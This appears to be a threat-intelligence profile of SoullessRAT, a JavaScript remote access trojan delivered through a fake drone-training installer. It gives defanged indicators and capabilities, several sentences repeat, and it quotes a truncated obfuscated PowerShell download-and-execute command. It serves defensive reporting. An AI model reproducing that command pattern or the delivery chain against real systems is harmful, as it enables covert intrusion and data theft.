Loading malware…
SoullessRAT is an obfuscated JavaScript remote access trojan reportedly written using generative AI. It was observed in multi-stage campaigns linked in the reporting to the Versatile Werewolf threat cluster, and also referenced alongside activity associated with Eagle Werewolf. In the described intrusion chain, it was delivered via the fake drone-training installer AlphaFlyInstallV1-2.msi distributed from alphafly-drones[.]com. That chain dropped PowerShell and VBS components, downloaded Node.js if needed, executed an obfuscated JavaScript loader, and retrieved the final SoullessRAT payload from newfolder[.]click, including the URL pattern hxxps://newfolder[.]click/?cid=9ebeb834a451460e&mod=main. Reported capabilities include remote command execution, file upload and download, screenshot capture, system information harvesting and reconnaissance, module loading, Outlook data theft, logical volume enumeration, directory and file listing, and self-termination. The surrounding campaigns primarily targeted government or state organizations, military personnel, industrial entities, and individuals involved in drone manufacturing, engineering, or UAV-related activity, consistent with espionage objectives. Known associated delivery artifacts and lures include AlphaFlyInstallV1-2.msi and the fake AlphaFly installer infrastructure at alphafly-drones[.]com, with payload delivery from newfolder[.]click.
2 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
This final stage payload is an obfuscated JavaScript RAT created using generative AI. We named this trojan SoullessRAT.
Malware Family SoullessRAT Delivered via fake AlphaFly installer in Eagle Werewolf multi-stage attack chain
23 distinct techniques documented for this family, organized by ATT&CK tactic.
The attack chain begins with a malicious MSI installer, disguised as a legitimate software application, delivered to targeted users through deceptive websites mimicking real developer tools.
A separate espionage campaign linked to the Eagle Werewolf cluster used Iraqi hosting on Regxa infrastructure to deploy multiple remote access tools via phishing lures based on Starlink registration and drone training themes.
used Iraqi hosting on Regxa infrastructure to deploy multiple remote access tools via phishing lures based on Starlink registration and drone training themes.
The loader then fetches the Node.js interpreter (if it is not present in the system) and the next stage obfuscated JS script. Upon downloading all the components, the Node.js interpreter executes the JS script.
run-script.ps1, a PowerShell script to load and execute code via PowerShell. The file contains: powershell -w hidden -ep bypass -c "I''E''X...DOWNLOADDaTa(...)"
helper.vbs, a VBS file ... that executes run-script.ps1.
Alongside the Fondue.exe-based attack path, the same threat cluster also deployed a separate JavaScript-based remote access trojan named SoullessRAT against other targets.
Upon execution, StarDebug_1.0.1.msi creates the directory %LOCALAPPDATA%\Star and extracts the following three files to it...
The URL hxxps://battleflight[.]org/download/installer hosted the executable BattleFlight-Install-v11.0.3.exe, a C# dropper disguised as an installer for a drone pilot training simulator.
The appwiz.cpl applet is packed with UPX and obfuscated with Oreans Code Virtualizer.
The dropper contains the EchoGather payload, which is Base64-encoded and XOR-encrypted.
The attack chain begins with a malicious MSI installer, disguised as a legitimate software application, delivered to targeted users through deceptive websites mimicking real developer tools.
the C# dropper contains the EchoGather payload, which is Base64-encoded and XOR-encrypted.
SoullessRAT was reportedly written using generative AI, and it supports a broad range of espionage capabilities including remote command execution, file uploads to the attacker’s server, screenshot capture, and harvesting of system information.
ScanFiles ... The following fields are sent to the endpoint /clients/files: fileName relativePath fullPath fileSize createdDate modifiedDate
Files, uploads a directory/file from the host to the C2 server.
SoullessRAT was reportedly written using generative AI, and it supports a broad range of espionage capabilities including remote command execution, file uploads to the attacker’s server, screenshot capture, and harvesting of system information.
Key capabilities of SoullessRAT ... downloads and runs modules for self-destruction, SSH, and data harvesting from the Outlook mail client
more than 1,350 active command-and-control (C2) servers were identified across 98 infrastructure providers in the region within just three months.
The C2 server is queried every 15 seconds.
The initial MSI installer drops a PowerShell script, a VBS helper file, and a .NET loader, which work together to download and execute the next-stage payload without triggering obvious alerts.
Once loaded into the memory space of Fondue.exe, the rogue control panel file deploys a Sliver post-exploitation framework implant. Sliver is an open-source adversary simulation tool that gives attackers a powerful foothold on the infected machine, allowing them to issue remote commands and move through compromised networks with ease.
SoullessRAT was reportedly written using generative AI, and it supports a broad range of espionage capabilities including remote command execution, file uploads to the attacker’s server, screenshot capture, and harvesting of system information.
12 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
6 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.